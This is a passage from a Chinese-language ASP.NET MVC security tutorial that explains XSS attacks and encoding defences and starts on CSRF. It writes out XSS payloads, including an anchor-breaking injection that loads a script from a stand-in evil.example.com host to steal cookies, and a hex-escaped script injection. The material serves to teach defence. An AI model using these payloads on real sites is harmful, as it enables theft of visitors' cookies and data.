Web 程序运行在标准的、基于文本的协议(HTTP 和 HTML)之上,所以特别容易受到自动攻击的伤害。本章主要介绍黑客如何滥用应用程序,以及针对这些问题的应对措施。
威胁:跨站脚本攻击(XSS)
XSS 攻击在 Web安全威胁上排名第一,然而遗憾的是,导致 XSS 猖獗的主要原因是开发人员不熟悉这种攻击。可以使用 2 种方法实现 XSS:
- 被动注入(Passive Injection):通过用户将恶意的脚本命令输入到网站中,而这些网站又能接收“不干净”(unsanitized)的用户输入。
- 主动注入(Active Injection):直接在页面上显示的用户输入。
被动注入中,用户把不干净的内容输入到文本框中,并保存到数据库,以后再重新显示在页面中;主动注入中,用户输入的内容立刻就会在屏幕上显示出来。这 2 种方式都会造成极大危害。
被动注入(Passive Injection)
XSS 通过向接收用户输入的网站中注入脚本代码来实现,一个典型的例子就是博客,它允许用户提交自己的评论。我们知道,博客表单通常会有 4 个文本元素:姓名、e-mail 地址、评论、URL。类似这样的表单会让 XSS 黑客垂涎三尺,理由有两个,首先,他们知道表单中提交的输入内容会在站点上显示;其次,他们知道编码 URL 很麻烦,且开发人员一般会把这些 URL 作为锚标记的一部分,通常情况下不会对这些内容进行必要检查。
攻击者首先查看站点是否对输入元素上的特定字符进行了编码,由其是 URL 字段可能存在注入脚本的可能性。为了说明这一点,我们输入如下 URL:
Your Home URL:No blog!Sorry:<
这不是直接攻击,只是在 URL 中放入了一个“<”符号,如果对 URL 进行了 HTML 编码,URL 中的 “<”符号会被“<”替换,因此,要知道是否对 URL 进行了 HTML 编码,只需查看 URL 中的“<”是否被替换即可。下面提交评论,结果一切正常。
尽管这样看起来没什么不妥之处,但是这已经向黑客暗示注入脚本是可能的,这里没有对 URL 的验证机制,如果查看页面的源代码,黑客们就会萌生强烈的 XSS 攻击想法:
<a href="No blog! Sorry:">Bob</a> // 笔者的意思是,先前如果输入了正确的博客主页地址,那么这里点击人名Bob,应该会导航至Bob的博客
虽然这个危害看起来并不危险,但从黑客的角度看却能造成很大危害。向 URL 字段输入下面内容,看看会出现什么情况:
"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>
这行脚本会关闭不受保护的锚标签,并同时强制网站加载了一个 iframe,但如果这样向一个网站发起攻击,是极其愚蠢的,这只会提醒网站管理员修补漏洞。
如果真正的隐形黑客,就应该像下面这样:
"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="
这行脚本代码为了不破坏页面流而注入了一个JS脚本标签,在关闭锚标记的同时又打开了另一个锚标记,这才是绝顶聪明的做法!即使将鼠标悬停在名称上,也不会看到注入的脚本标签,因为这是一个空的锚标记!当任意用户访问到该HTML页面时,恶意的网站会输出恶意的JS代码,执行一些恶意操作,比如将用户的 cookies 或数据发送到黑客自己的网站中。
上面的注入攻击最终生成的 HTML 代码如下图:
阻止 XSS
1. 对所有内容进行 HTML 编码。大部分情况下使用简单的 HTML 编码就可以避免 XSS,服务器通过这个过程将 HTML 保留字符(<、>等)替换为对应编码。而对于 ASP.NET MVC 而言,只需在视图中使用 Html.Encode 或 Html.AttributeEncode 方法就可实现对特性值的编码替换。页面上每一点输出都应该是经过 HTML 编码或 HTML 特性编码的!Razor 视图引擎默认对输出内容采用 HTML 编码,这带来了极大的方便和安全。
2. 除了关注页面上的 HTML 输出,保护那些在 HTML 动态设置的特性也是非常重要的。
3. 进行 JavaScript 编码。只使用 HTML 编码所有内容是不够的,这并不能阻止 JavaScript 的执行。下面经 HTML 编码的 URL 仍然有漏洞,将会弹出一个警告框:
http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
黑客可以利用十六进制转义码随意的向输入内容中插入 JS 脚本代码,真正恶意的黑客不会弹出警告,而是盗取用户信息或将用户重定向。
威胁:跨站请求伪造(Cross-Site Request Forgery,CSRF)
CSRF 攻击要比简单的 XSS 攻击更具危险性。为了充分理解 CSRF 的概念,我们将其分为两部分阐述,分别是 XSS 和混淆代理(confused deputy)。
混淆代理是一个计算机程序,它被其它部分程序无辜的愚弄,以至于错误的使用自己的权限,它是特权扩大(privilege escalation)的一个具体类型。在此类情形下,代理就是用户的浏览器,受到了愚弄以至于误用其权限,将用户呈现给远程的网站。
假设正在构建一个外观精美的网站,允许用户登录和退出,以及在站点中进行权限内的任何操作。在 AccountController 控制器中,Login 操作尽量保持简单,然后再在其中添加一个 Logout 操作删除登录用户的信息:
{
FormsAuth.SignOut();
return RedirectToAction("Index", "Home");
}